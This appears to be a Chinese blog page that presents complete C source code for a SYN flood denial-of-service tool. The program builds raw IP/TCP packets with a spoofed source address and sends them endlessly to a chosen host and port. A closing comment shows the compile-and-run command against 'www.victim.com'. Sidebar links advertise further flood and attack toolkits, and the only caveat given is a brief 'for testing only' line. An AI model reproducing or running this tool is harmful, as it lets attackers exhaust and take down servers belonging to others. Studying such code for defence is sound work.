SYN Flood 工具源码

hping3-synflood攻击 SYN Flood是一种广为人知的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。  攻击系统:KALI LINUX 192.168.2.66 被攻击系统:NFS 基础版 192.168.2.166 操作步骤: 1、下载源码包: wget http:/ 阅读详情

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

u_int16_t  srcport;

struct pseudohdr
{
 struct in_addr saddr;
 struct in_addr daddr;
 u_char zero;
 u_char protocol;
 u_short length;
 struct tcphdr tcpheader;
 
};


u_short checksum(u_short * data,u_short length)
{
 int nleft = length;
 int sum=0;
 unsigned short *w = data;
 unsigned short value = 0;
while (nleft > 1)
{
 sum += *w++;
 nleft -= 2;
}
if (nleft == 1)
{
 *(unsigned char *) (&value) = *(unsigned char *) w;
 sum += value;
}
 sum = (sum >>16) + (sum & 0xffff);
 sum += (sum >> 16);
 value = ~sum;
 return(value);
}

int main(int argc,char * * argv)
{
 struct sockaddr_in sin;
 struct sockaddr_in din;
 struct hostent * hoste;
 struct hostent * host1;
 int j,sock,foo, flooddot=1;
 char buffer[40];
 struct ip * ipheader=(struct ip *) buffer;
 struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
 struct pseudohdr pseudoheader;
 fprintf(stderr,"Syn attack against one port.(Infinite)/n");
 if(argc<4)
 {
 fprintf(stderr,"usage: %s <dstIP> <dstport> <spoofed-srcIP>/n",argv[0]);
 return(-1);
 }

 fprintf(stderr,"%s:%s is being syn'd attacked by %s./n",argv[1],argv[2],argv[3]);
 bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
 sin.sin_family=AF_INET;
 if((host1=gethostbyname(argv[3]))!=NULL)
  bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
 else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
 {
  fprintf(stderr,"unknown source host %s/n",argv[3]);
  return(-1);
 }
 if((hoste=gethostbyname(argv[1]))!=NULL)
  bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
 else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
 {
  fprintf(stderr,"unknown destination host %s/n",argv[1]);
  return(-1);
 }
 if((sin.sin_port=htons(atoi(argv[2])))==0)
 {
  fprintf(stderr,"unknown port %s/n",argv[2]);
  return(-1);
 }
 if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
 {
  fprintf(stderr,"couldn't allocate raw socket/n");
  return(-1);
 }

 foo=1;
 if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
 {
  fprintf(stderr,"couldn't set raw header on socket/n");
  return(-1);
 }
 while(1)
 {
  bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
  
  ipheader->ip_v=4;
  ipheader->ip_tos=0;
  ipheader->ip_hl=sizeof(struct ip)/4;
  ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
  ipheader->ip_id=htons(random());
  ipheader->ip_ttl=255;
  ipheader->ip_p=IPPROTO_TCP;
  ipheader->ip_sum=0;
  ipheader->ip_src=din.sin_addr;
  ipheader->ip_dst=sin.sin_addr;
  tcpheader->source=htons(srcport);
  
  tcpheader->dest=din.sin_port;
  tcpheader->seq=htonl(0x28374839);
  tcpheader->ack=0;
  tcpheader->syn=1;
  tcpheader->doff=sizeof(struct tcphdr)/4;
  tcpheader->window=htons(2048);
  tcpheader->check=0;
  
  bzero(&pseudoheader,12+sizeof(struct tcphdr));
  pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
  
  pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  pseudoheader.protocol=6;
  pseudoheader.length=htons(sizeof(struct tcphdr));
  bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  tcpheader->check=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  srcport= (10000.0*random()/(15000+1.0));
  if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  {
   fprintf(stderr,"couldn't send packet,%d/n",errno);
   return(-1);
  }
  //usleep(2);
  printf(".");
 } /*The end of the infinite loop*/
 close(sock);
 return(0);
}
/*clapnet:
#gcc -o syn_flood syn_flood.c
#./syn_flood www.victim.com 80 xxx.xxx.xxx.xxx
*/

 

syn flood测试工具 学习网路基础tcp/ip,可以用来模拟黑客攻击仅供测试使用。 立即下载

相关推荐

测试syn-flood等泛洪攻击的小软件

可以模拟syn flood udp flood等泛洪攻击的一款小软件,360会报警。

SYN洪水攻击

使用kali对靶机进行DDos攻击

Qqx1Ng的博客 1553

威力强悍的 syn发包工具

一款亲测,威力强悍的服务器发包工具,100%无毒可放心使用

tcp flood java源码,TCP SYN Flood如何实现(含原理和工具)

摘要拒绝服务攻击(DDoS)从1970年出现直到今天都依然在作祟,并给全球范围内的各大组织带来了不可估量的损失。在这篇文章中,我们将跟大家介绍一种特定的DoS攻击,即TCP SYN Flood攻击,并介绍一款名叫Synner的工具。该工具采用Rust开发,由libpnet驱动,该工具目前仍处于开发状态(WIP),不过现在的功能已经足以发布出来跟社区人员共享了。介绍Synner能够向目标快速持续地发...

weixin_39553776的博客 645

SYN_FLOOD网站工具包

分享 SYN_FLOOD_和谐网站工具包

多线程自动化syn&udp flood攻击集成工具

http://download.youkuaiyun.com/detail/wuchunlai_2012/9372564 http://download.youkuaiyun.com/detail/wuchunlai_2012/9373247 这是我针对以前发出的两个工具做的一些优化和集成,增加了自动识别网卡mac等功能,优化了攻击时间的控制策略。如果大家只是学习用,建议下载以上的代码进行修改和自己编写。 备注:代码自己学习测试用得,有恶意攻击行为的后果自负 之后将发布集成cc攻击的3.0版本

Zarp CLI命令速查表:掌握34个模块的高效操作技巧

Zarp是一款功能强大的网络攻击工具,提供了丰富的命令行接口来执行各种网络攻击和安全测试任务。本速查表将帮助你快速掌握Zarp的34个核心模块及其高效操作技巧,让你的网络安全测试工作更加得心应手。 ## 基础操作命令 ### 安装与更新 - 克隆仓库:`git clone https://gitcode.com/gh_mirrors/za/zarp` - 更新Zarp:`./zarp.py -

gitblog_00938的博客 790

syn.exe --(HUC SYN Flood Tool V0.2)

软件说明: 在命令提示符下运行,只支持NT/2000/XP/03系统 中国红客联盟(HUC) 在鼎盛时期的DDOS作品 上传只为学习之用,禁止用于非法途径!

SYN Flood模拟攻击

为什么80%的码农都做不了架构师?>>> ...

weixin_34284188的博客 2398

SYN flood攻击

syn攻击,使用winpcap编写,使用前请先配置vs2010

synflood.zip

在本机(linux)上 模拟syn-flood攻击,验证内核syn-cookie机制。gcc编译后即可使用,启动后使用tcpdump可以抓包

pythonddos防御_浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击...

*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载0x01 前言以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功能,但是性能太差,其不到攻击效果,然后又开始学c语言,用c语言重写了syn flood攻击工具,今天我把python和c的源码都...

weixin_39778003的博客 448

【人工智能】人工智能基础概念、流派、发展史

人工智能初衷就是让计算机能够像人类一样具有自我思考、自我学习、自我决策的能力。依据百度百科上对人工智能定义:人工智能是研究、开发用于模拟、扩展和延伸人的智能的理论、方法、技术及应用系统的一门新的技术学科。人工智能是研究使计算机来模拟人的某些思维过程和智能行为的学科,主要包括计算机实现智能的原理、制造类似于人脑智能的计算机,使计算机能实现更高层次的应用。

WEL测试 1882

【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

一.原理1、TCP握手协议第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包

jiange_zh的博客 2万+

OpenClaw的引导配置(onboard)流程

脚本安装的直接安装完到引导配置界面,其他安装方式还可以直接命令到配置。

supersolon的专栏 1324

抖音a_bogus参数逆向避坑指南:从环境检测到XHR请求的全流程解析

本文详细解析了抖音a_bogus参数在v1.0.1.19版本下的逆向工程全流程,重点介绍了如何通过PyV8Env框架进行有效的补环境操作,以绕过严格的环境检测。内容涵盖从环境初始化、关键事件触发到模拟XHR请求获取签名的完整步骤,并提供了可运行的Python代码示例和常见检测点的避坑指南,帮助开发者稳定生成有效的a_bogus参数。

tech5的博客 600

syn flood 攻击 c 语言源代码,利用Python和C实现syn flood攻击

pythonpythonpythonpythonpythonpythonpythonpythonpython俗话说,知己知彼,百战不殆。学习攻击代码的编写逻辑,反向实现防攻是每一个运维工程师所要学习的。了解SYN/ACK Flood 攻击这种攻击方法是经典最有效的 DDOS 方法, 可通杀各种系统的网络服务, 主要是通过向受害主机发送大量伪造源 IP 和源端口的 S...

weixin_39620653的博客 1259

Oracle 19c RAC安装踩坑实录:OpenSSH 8.x版本与OUI的“兼容性战争”及一劳永逸的解决思路

本文深入解析Oracle 19c RAC在Linux8环境中部署时遇到的OpenSSH 8.x版本兼容性问题,特别是[INS-06006]错误的根源与解决方案。从协议层分析冲突本质,提供SCP包装器技术、官方补丁应用指南及现代化部署体系构建三种解决方案,帮助企业高效完成RAC安装并规避类似问题。

weixin_42648844的博客 457

【网络编程】SYN Flood (SYN洪水攻击)原理及防阻

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。

byc6352的专栏 1万+

Unity热更实战:用YooAsset+HybridCLR实现小游戏资源与代码双更新(含避坑清单)

本文详细介绍了Unity小游戏开发中如何通过YooAsset与HybridCLR实现资源与代码双热更新方案。内容涵盖环境配置、架构设计、微信小游戏专项优化、热更代码工程化实践及真机调试技巧,帮助开发者解决审核周期长、紧急修复等痛点,提升更新效率与稳定性。

weixin_42520025的博客 501

STM32F103 RTC闹钟唤醒Stop模式的EXTI17中断实现

本文详细介绍了STM32F103如何通过RTC闹钟触发EXTI17中断实现从Stop模式的高效唤醒。针对低功耗应用场景,提供了完整的硬件配置、CubeMX设置及代码实现方案,包括时间格式转换、中断处理和功耗优化技巧,帮助开发者可靠实现定时唤醒功能。

ol78901234的博客 230

syn flood源码

#include #include #include #include #include #include #include #include #include #include #include #include #include #include /* 最多线程数 */ #define MAXCHILD 128 /* 原始套接字 */ int sockfd;

wzx19840423的专栏 2816

HINT: High-quality INpainting Transformer with Mask-Aware Encoding and Enhanced Attention 训练自己的数据集

HINT(高质量图像修复变换器)通过创新的掩码感知像素洗牌下采样模块(MPD)和空间激活通道注意力层(SCAL),显著提高了图像修复的质量,尤其在大面积缺失区域的情况下。实验表明,HINT在CelebA、CelebA-HQ、Places2和敦煌数据集上超越了现有的最先进模型,提升了图像的细节和结构一致性。

LJ1147517021的博客 312

tcp flood java源码_c++版本的syn flood攻击示例代码

#include #include #include #include #include #include #include #include #include #include #include #pragma pack(1)struct pseudo_header //needed for checksum calculation{unsigned int source_address;...

weixin_30753213的博客 285

UG NX二次开发(C#)--详细讲述编程模板NXOpen_CS_Wizard的代码意义,帮你轻松进入NXOpen(C#)二次开发

有几个读者私信问我,在看了“NX1957在VS2019上二次开发的环境配置”后,能完成了UG NX二次开发(C#)模板的配置,也能根据模板创建工程,但是对工程文件.cs不甚理解;并且,在UG Styler新建完成后,其也有一个dlx文件和.cs文件,也不清楚怎么使用。本文先对UG NX二次开发(C#)模板文件进行讲解,在下一个博客中,讲解Styler新建后的模板文件。以上就是对编程模板NXOpen_CS_Wizard(c#)的讲解,其实只要明白了逻辑关系,编程实现只是时间问题,祝你好运。

GimiGimmy 1785

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

上一篇: 基于Snort的入侵检测系统
下一篇: libpcap 函数介绍
starshift
博客等级 码龄21年 66粉丝 60原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值